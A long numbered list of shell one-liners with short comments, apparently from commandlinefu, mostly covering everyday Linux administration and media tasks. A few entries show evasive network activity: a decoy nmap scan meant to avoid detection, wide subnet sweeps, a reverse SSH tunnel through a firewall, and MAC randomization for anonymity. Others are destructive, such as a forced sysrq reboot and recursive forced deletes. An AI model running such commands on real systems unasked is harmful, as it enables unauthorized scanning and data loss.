1726while :;do killall -USR1 dd;sleep 1;done
1727
1728# Get your outgoing IP address
1729curl -s icanhazip.com
1730
1731# Convert a Nero Image File to ISO
1732dd bs=1k if=image.nrg of=image.iso skip=300
1733
1734# Print a row of 50 hyphens
1735python -c 'print "-"*50'
1736
1737# Save a file you edited in vim without the needed permissions (no echo)
1738:w !sudo tee > /dev/null %
1739
1740# JSON processing with Python
1741curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
1742
1743# Move items from subdirectories to current directory
1744find -type f -exec mv {} . \;
1745
1746# Download free e-books
1747wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
1748
1749# grep tab chars
1750grep "^V<TAB>" your_file
1751
1752# Start a HTTP server which serves Python docs
1753pydoc -p 8888 & gnome-open http://localhost:8888
1754
1755# Define words and phrases with google.
1756define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
1757
1758# Check RAM size
1759free -mto
1760
1761# Remote control for Rhythmbox on an Ubuntu Media PC
1762alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
1763
1764# Check which files are opened by Firefox then sort by largest size.
1765lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
1766
1767# Edit video by cutting the part you like without transcoding.
1768mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
1769
1770
1771
1772# Pretty man pages under X
1773function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
1774
1775# live ssh network throughput test
1776pv /dev/zero|ssh $host 'cat > /dev/null'
1777
1778# show ls colors with demo
1779echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
1780
1781# Show when filesystem was created
1782dumpe2fs -h /dev/DEVICE | grep 'created'
1783
1784# generate random password
1785pwgen -Bs 10 1
1786
1787# Use colordiff in side-by-side mode, and with automatic column widths.
1788colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
1789
1790# Shell function to exit script with error in exit status and print optional message to stderr
1791die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
1792
1793# exit if another instance is running
1794pidof -x -o $$ ${0##*/} && exit
1795
1796# search ubuntu packages to find which package contains the executable program programname
1797apt-file find bin/programname
1798
1799# Execute most recent command containing search string.
1800!?<string>?
1801
1802# Display GCC Predefined Macros
1803gcc -dM -E - < /dev/null
1804
1805# Password Generation
1806pwgen --alt-phonics --capitalize 9 10
1807
1808# command line calculator
1809calc(){ awk "BEGIN{ print $* }" ;}
1810
1811# Extract a bash function
1812sed -n '/^function h\(\)/,/^}/p' script.sh
1813
1814# Remount a usb disk in Gnome without physically removing and reinserting
1815eject /dev/sdb; sleep 1; eject -t /dev/sdb
1816
1817# autossh + ssh + screen = super rad perma-sessions
1818AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
1819
1820# Sort all running processes by their memory & CPU usage
1821ps aux --sort=%mem,%cpu
1822
1823# On screen display of a command.
1824date|osd_cat
1825
1826# Smart renaming
1827mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
1828
1829# Detect if we are running on a VMware virtual machine
1830dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
1831
1832# Record microphone input and output to date stamped mp3 file
1833arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
1834
1835# Execute text from the OS X clipboard.
1836`pbpaste` | pbcopy
1837
1838# Select and Edit a File in the Current Directory
1839PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
1840
1841# command to change the exif date time of a image
1842exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
1843
1844# Find running binary executables that were not installed using dpkg
1845cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
1846
1847
1848
1849# connect via ssh using mac address
1850ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
1851
1852# cycle through a 256 colour palette
1853yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
1854
1855# How to run a command on a list of remote servers read from a file
1856while read server; do ssh -n user@$server "command"; done < servers.txt
1857
1858# Replace spaces in filenames with underscorees
1859ls | while read f; do mv "$f" "${f// /_}";done
1860
1861# Sort file greater than a specified size in human readeable format including their path and typed by color, running from current directory
1862find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
1863
1864# move a lot of files over ssh
1865rsync -az /home/user/test user@sshServer:/tmp/
1866
1867# log your PC's motherboard and CPU temperature along with the current date
1868echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
1869
1870# Verbosely delete files matching specific name pattern, older than 15 days.
1871find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
1872
1873# Connect to SMTP server using STARTTLS
1874openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
1875
1876# Check availability of Websites based on HTTP_CODE
1877urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
1878
1879# An easter egg built into python to give you the Zen of Python
1880python -c 'import this'
1881
1882# Extract dd-image from VirtualBox VDI container and mount it
1883vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
1884
1885# Testing php configuration
1886php -i
1887
1888# back up your commandlinefu contributed commands
1889curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
1890
1891# currently mounted filesystems in nice layout
1892column -t /proc/mounts
1893
1894# Salvage a borked terminal
1895<ctrl+j>stty sane<ctrl+j>
1896
1897# Salvage a borked terminal
1898echo <ctrl-v><esc>c<enter>
1899
1900# convert a web page into a png
1901touch $2;firefox -print $1 -printmode PNG -printfile $2
1902
1903# Copy a directory recursively without data/files
1904find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
1905
1906# Determine what version of bind is running on a dns server.
1907dig -t txt -c chaos VERSION.BIND @<dns.server.com>
1908
1909# Prints total line count contribution per user for an SVN repository
1910svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
1911
1912# ssh autocomplete
1913complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
1914
1915# Submit data to a HTML form with POST method and save the response
1916curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
1917
1918# count how many times a string appears in a (source code) tree
1919$ grep -or string path/ | wc -l
1920
1921# Create a tar archive using 7z compression
1922tar cf - /path/to/data | 7z a -si archivename.tar.7z
1923
1924
1925
1926# Outputs files with ascii art in the intended form.
1927iconv -f437 -tutf8 asciiart.nfo
1928
1929# Use Cygwin to talk to the Windows clipboard
1930cat /dev/clipboard; $(somecommand) > /dev/clipboard
1931
1932# Update twitter from command line without reveal your password
1933curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
1934
1935# permanently let grep colorize its output
1936echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
1937
1938# Scan Network for Rogue APs.
1939nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
1940
1941# Merges given files line by line
1942paste -d ',:' file1 file2 file3
1943
1944# Easily scp a file back to the host you're connecting from
1945mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
1946
1947# Find broken symlinks and delete them
1948find -L /path/to/check -type l -delete
1949
1950# Find corrupted jpeg image files
1951find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
1952
1953# Get line number of all matches in a file
1954awk '/match/{print NR}' file
1955
1956# du disk top 10
1957for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
1958
1959# List and delete files older than one year
1960find <directory path> -mtime +365 -and -not -type d -delete
1961
1962# backup and remove files with access time older than 5 days.
1963tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
1964
1965# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
1966tcs -f 8859-1 -t utf /some/file
1967
1968# Execute multiple commands from history
1969!219 ; !229 ; !221
1970
1971# Interactively build regular expressions
1972txt2regex
1973
1974# Quick screenshot
1975import -pause 5 -window root desktop_screenshot.jpg
1976
1977# The NMAP command you can use scan for the Conficker virus on your LAN
1978nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
1979
1980# Generate a list of installed packages on Debian-based systems
1981dpkg --get-selections > LIST_FILE
1982
1983# Fibonacci numbers with awk
1984seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
1985
1986# Display which user run process from given port name
1987fuser -nu tcp 3691
1988
1989# Decreasing the cdrom device speed
1990eject -x 4
1991
1992# Show webcam output
1993mplayer tv:// -tv driver=v4l:width=352:height=288
1994
1995# Open the last file you edited in Vim.
1996alias lvim="vim -c \"normal '0\""
1997
1998# Merge *.pdf files
1999gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
2000
2001
2002
2003# Convert images to a multi-page pdf
2004convert -adjoin -page A4 *.jpeg multipage.pdf
2005
2006# Keep from having to adjust your volume constantly
2007find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
2008
2009# Poke a Webserver to see what it's powered by.
2010wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
2011
2012# Exclude svn directories with grep
2013grep -r --exclude-dir=.svn PATTERN PATH
2014
2015# show dd progress
2016killall -USR1 dd
2017
2018# mp3 streaming
2019nc -l -p 2000 < song.mp3
2020
2021# Convert .wma files to .ogg with ffmpeg
2022find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
2023
2024# VIM version 7: edit in tabs
2025vim -p file1 file2 ...
2026
2027# Copy specific files to another machine, keeping the file hierarchy
2028tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
2029
2030# Generate Random Passwords
2031< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
2032
2033# split a string (2)
2034read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
2035
2036# Redirect a filehandle from a currently running process.
2037yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
2038
2039# Synthesize text as speech
2040echo "hello world" | festival --tts
2041
2042# Mute xterm
2043xset b off
2044
2045# C one-liners
2046/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
2047
2048# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
2049echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
2050
2051# Use /dev/full to test language I/O-failsafety
2052perl -e 'print 1, 2, 3' > /dev/full
2053
2054# Generate a graph of package dependencies
2055apt-cache dotty apache2 | dot -T png | display
2056
2057# List your sudo rights
2058sudo -l
2059
2060# Copy history from one terminal to another
2061history -w <switch to another terminal> history -r
2062
2063# Create an SSH tunnel for accessing your remote MySQL database with a local port
2064ssh -CNL 3306:localhost:3306 user@site.com
2065
2066# Export MySQL query as .csv file
2067echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
2068
2069# Check the age of the filesystem
2070df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
2071
2072# Add temporary swap space
2073dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
2074
2075# print indepth hardware info
2076sudo dmidecode | more
2077
2078
2079
2080# ubuntu easter eggs
2081apt-get moo
2082
2083# Get a quick list of all user and group owners of files and dirs under the cwd.
2084find -printf '%u %g\n' | sort | uniq
2085
2086# Convert the contents of a directory listing into a colon-separated environment variable
2087find . -name '*.jar' -printf '%f:'
2088
2089# quick input
2090alt + .
2091
2092# know the current running shell (the true)
2093echo $0
2094
2095# Exclude grep from your grepped output of ps (alias included in description)
2096ps aux | grep [h]ttpd
2097
2098# make a log of a terminal session
2099script
2100
2101# seq can produce the same thing as Perl's ... operator.
2102for i in $(seq 1 50) ; do echo Iteration $i ; done
2103
2104# top 10 commands used
2105sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
2106
2107# Quick way to sum every numbers in a file written line by line
2108(sed 's/^/x+=/' [yourfile] ; echo x) | bc
2109
2110# cat a file backwards
2111tac file.txt
2112
2113# Count the number of queries to a MySQL server
2114echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
2115
2116# Outputs a sorted list of disk usage to a text file
2117du | sort -gr > file_sizes
2118
2119# Quickly share code or text from vim to others.
2120:w !curl -F "sprunge=<-" http://sprunge.us | xclip
2121
2122# run remote linux desktop
2123xterm -display :12.0 -e ssh -X user@server &
2124
2125# find all active IP addresses in a network
2126nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"
2127
2128# Unix commandline history substitution like ^foo^bar BUT for multiple replacements
2129!!:gs/Original/New/
2130
2131# Find pages returning 404 errors in apache logs
2132awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
2133
2134# Robust expansion (i.e. crash) of bash variables with a typo
2135set -eu
2136
2137# dd with progress bar
2138dd if=/dev/nst0 |pv|dd of=restored_file.tar
2139
2140# Copy file content to X clipboard
2141:%y *
2142
2143# Print a row of characters across the terminal
2144seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
2145
2146# nagios wrapper for any script/cron etc
2147CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
2148
2149# simple backup with rsync
21500 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
2151
2152# a function to create a box of '=' characters around a given string.
2153box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
2154
2155
2156
2157# Show top committers for SVN repositority for today
2158svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
2159
2160# shell function to make gnu info act like man.
2161myinfo() { info --subnodes -o - $1 | less; }
2162
2163# Get your commandlinefu points (upvotes - downvotes)
2164username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
2165
2166# split a multi-page PDF into separate files
2167pdftk in.pdf burst
2168
2169# Extend a logical volume to use up all the free space in a volume group
2170lvextend -l +100%FREE /dev/VolGroup00/LogVol00
2171
2172# Use bash history with process substitution
2173<(!!)
2174
2175# How to secure delete a file
2176shred -u -z -n 17 rubricasegreta.txt
2177
2178# Replace spaces in filenames with underscores
2179for f in *;do mv "$f" "${f// /_}";done
2180
2181# Show some trivia related to the current date
2182calendar
2183
2184# Give to anyone a command to immediatly find a particular part of a man.
2185man <COMMAND> | less +'/pattern'
2186
2187# Optimize PDF documents
2188gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
2189
2190# Do some learning...
2191for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
2192
2193# get bofh excuse from a trusted source :-)
2194telnet bofh.jeffballard.us 666
2195
2196# Rename .JPG to .jpg recursively
2197find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
2198
2199# external projector for presentations
2200xrandr --auto
2201
2202# climagic's New Year's Countdown clock
2203while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
2204
2205# Increase mplayer maximum volume
2206mplayer dvd:// -softvol -softvol-max 500
2207
2208# Display the output of a command from the first line until the first instance of a regular expression.
2209command | sed -n '1,/regex/p'
2210
2211# Print trending topics on Twitter
2212curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
2213
2214# Block the 6700 worst spamhosts
2215wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
2216
2217# See non printable caracters like tabulations, CRLF, LF line terminators ( colored )
2218od -c <FILE> | grep --color '\\.'
2219
2220# determine if tcp port is open
2221nc -zw2 www.example.com 80 && echo open
2222
2223# Get the time from NIST.GOV
2224cat </dev/tcp/time.nist.gov/13
2225
2226# Script executes itself on another host with one ssh command
2227[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
2228
2229# Find the cover image for an album
2230albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
2231
2232
2233
2234# aptitude easter eggs
2235aptitude moo
2236
2237# Remove executable bit from all files in the current directory recursively, excluding other directories
2238chmod -R -x+X *
2239
2240# another tweet function
2241tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
2242
2243# Press Any Key to Continue
2244read -sn 1 -p 'Press any key to continue...';echo
2245
2246# cpu and memory usage top 10 under Linux
2247ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
2248
2249# lotto generator
2250shuf -i 1-49 | head -n6 | sort -n| xargs
2251
2252# create iso image from a directory
2253mkisofs -o XYZ.iso XYZ/
2254
2255# Check a server is up. If it isn't mail me.
2256ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
2257
2258# Create an SSH connection (reverse tunnel) through your firewall.
2259ssh -R 2001:localhost:22 [username]@[remote server ip]
2260
2261# Using tput to save, clear and restore the terminal contents
2262tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
2263
2264# Transforms a file to all uppercase.
2265tr '[:lower:]' '[:upper:]' <"$1"
2266
2267# Changing the terminal title to the last shell command
2268trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
2269
2270# Matrix Style
2271check the sample output below, the command was too long :(
2272
2273# randomize hostname and mac address, force dhcp renew. (for anonymous networking)
2274dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
2275
2276# save date and time for each command in history
2277export HISTTIMEFORMAT='%F %T '
2278
2279# Visualizing system performance data
2280(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
2281
2282# print all except first collumn
2283awk '{$1=""; print}'
2284
2285# random xkcd comic
2286display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
2287
2288# connect via ssh using mac address
2289sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
2290
2291# sort lines by length
2292perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
2293
2294# Create a zip file ignoring .svn files
2295zip -r foo.zip DIR -x "*/.svn/*"
2296
2297# Skip over .svn directories when using the
2298find . -name .svn -prune -o -print
2299
2300# Sync MySQL Servers via secure SSH-tunnel
2301ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
2302
2303# Let your computer lull you to sleep
2304echo {1..199}" sheep," | espeak -v english -s 80
2305
2306# Download all Phrack .tar.gzs
2307curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
2308
2309
2310
2311# Get the size of all the directories in current directory (Sorted Human Readable)
2312sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
2313
2314# insert ip range using vim
2315:for i in range(1,255) | .put='192.168.0.'.i | endfor
2316
2317# return external ip
2318wget -O - -q icanhazip.com
2319
2320# Regex to remove HTML-Tags from a file
2321sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
2322
2323# find the biggest files recursively, no matter how many
2324find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
2325
2326# Sum columns from CSV column $COL
2327awk -F ',' '{ x = x + $4 } END { print x }' test.csv
2328
2329# Copy ssh keys to user@host to enable password-less ssh logins.
2330ssh-copy-id user@host
2331
2332# sed : using colons as separators instead of forward slashes
2333sed "s:/old/direcory/:/new/directory/:" <file>
2334
2335# Send email with one or more binary attachments
2336echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
2337
2338# Alert on Mac when server is up
2339ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
2340
2341# ssh and attach to a screen in one line.
2342ssh -t user@host screen -x <screen name>
2343
2344# how many packages installed on your archlinux?
2345pacman -Q|wc -l
2346
2347# Delete all but latest file in a directory
2348ls -t1 | sed 1d | xargs rm
2349
2350# recursive reset file/dir perms
2351find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
2352
2353# create directory and set owner/group/mode in one shot
2354install -o user -g group -m 0700 -d /path/to/newdir
2355
2356# Search Google from the command line
2357curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
2358
2359# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
2360sudo nmap -sS 192.168.0.10 -D 192.168.0.2
2361
2362# Display ncurses based network monitor
2363nload -u m eth0
2364
2365# Move files around local filesystem with tar without wasting space using an intermediate tarball.
2366( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
2367
2368# Search command history on bash
2369ctrl + r
2370
2371# Check if network cable is plugged in and working correctly
2372mii-tool eth0
2373
2374# find the 10 latest (modified) files
2375ls -1t | head -n10
2376
2377# securely erase unused blocks in a partition
2378# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks
2379
2380# Redirect incoming traffic to SSH, from a port of your choosing
2381iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
2382
2383# Get all possible problems from any log files
2384grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
2385
2386
2387
2388# Twit Amarok "now playing" song
2389curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
2390
2391# Get pages number of the pdf file
2392pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
2393
2394# Backup sda5 partition to ftp ( using pipes and gziped backup )
2395dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
2396
2397# View and review the system process tree.
2398pstree -Gap | less -r
2399
2400# combine `mkdir foo && cd foo` into a single function `mcd foo`
2401function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
2402
2403# Prevent shell autologout
2404unset TMOUT
2405
2406# Get video information with ffmpeg
2407ffmpeg -i filename.flv
2408
2409# Go to the previous sibling directory in alphabetical order
2410cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
2411
2412# Hostname tab-completion for ssh
2413function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
2414
2415# Consolle based network interface monitor
2416ethstatus -i eth0
2417
2418# Add a shadow to picture
2419convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out}
2420
2421# Smart renaming
2422ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
2423
2424# Releases Firefox of a still running message
2425rm ~/.mozilla/firefox/<profile_dir>/.parentlock
2426
2427# synchronicity
2428cal 09 1752
2429
2430# List files opened by a PID
2431lsof -p 15857
2432
2433# vi keybindings with info
2434info --vi-keys
2435
2436# dstat - a mix of vmstat, iostat, netstat, ps, sar...
2437dstat -ta
2438
2439# backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS)
2440curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
2441
2442# Find brute force attempts on SSHd
2443cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
2444
2445# Show a curses based menu selector
2446whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
2447
2448# Use a Gmail virtual disk (GmailFS) on Ubuntu
2449mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
2450
2451# Download from Rapidshare Premium using wget - Part 2
2452wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
2453
2454# Make the "tree" command pretty and useful by default
2455alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
2456
2457# Clean swap area after using a memory hogging application
2458swapoff -a ; swapon -a
2459
2460# run php code inline from the command line
2461php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
2462
2463
2464
2465# Remux an avi video if it won't play easily on your media device
2466mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
2467
2468# Edit the last or previous command line in an editor then execute
2469fc [history-number]
2470
2471# List the largest directories & subdirectoties in the current directory sorted from largest to smallest.
2472du -k | sort -r -n | more
2473
2474# Transfer large files/directories with no overhead over the network
2475ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
2476
2477# Quickly generate an MD5 hash for a text string using OpenSSL
2478echo -n 'text to be encrypted' | openssl md5
2479
2480# Quickly add user accounts to the system and force a password change on first login
2481for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
2482
2483# Edit the Last Changed File
2484vim $( ls -t | head -n1 )
2485
2486# Fast command-line directory browsing
2487function cdls { cd $1; ls; }
2488
2489# prevents replace an existing file by mistake
2490set -o noclobber
2491
2492# Download an entire ftp directory using wget
2493wget -r ftp://user:pass@ftp.example.com
2494
2495# Bash prompt with user name, host, history number, current dir and just a touch of color
2496export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
2497
2498# Create a bunch of dummy files for testing
2499touch {1..10}.txt
2500
2501# Quickly analyze apache logs for top 25 most common IP addresses.
2502cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
2503
2504# Redefine the cd command's behavior
2505cd() { builtin cd "${@:-$HOME}" && ls; }
2506
2507# Print text string vertically, one character per line.
2508echo Print text vertically|sed 's/\(.\)/\1\n/g'
2509
2510# Check for login failures and summarize
2511zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
2512
2513# awk using multiple field separators
2514awk -F "=| "
2515
2516# Shows size of dirs and files, hidden or not, sorted.
2517du -cs * .[^\.]* | sort -n
2518
2519# Install a local RPM package from your desktop, then use the YUM repository to resolve its dependencies.
2520yum localinstall /path/to/package.rpm
2521
2522# Use mplayer to save video streams to a file
2523mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
2524
2525# Add forgotten changes to the last git commit
2526git commit --amend
2527
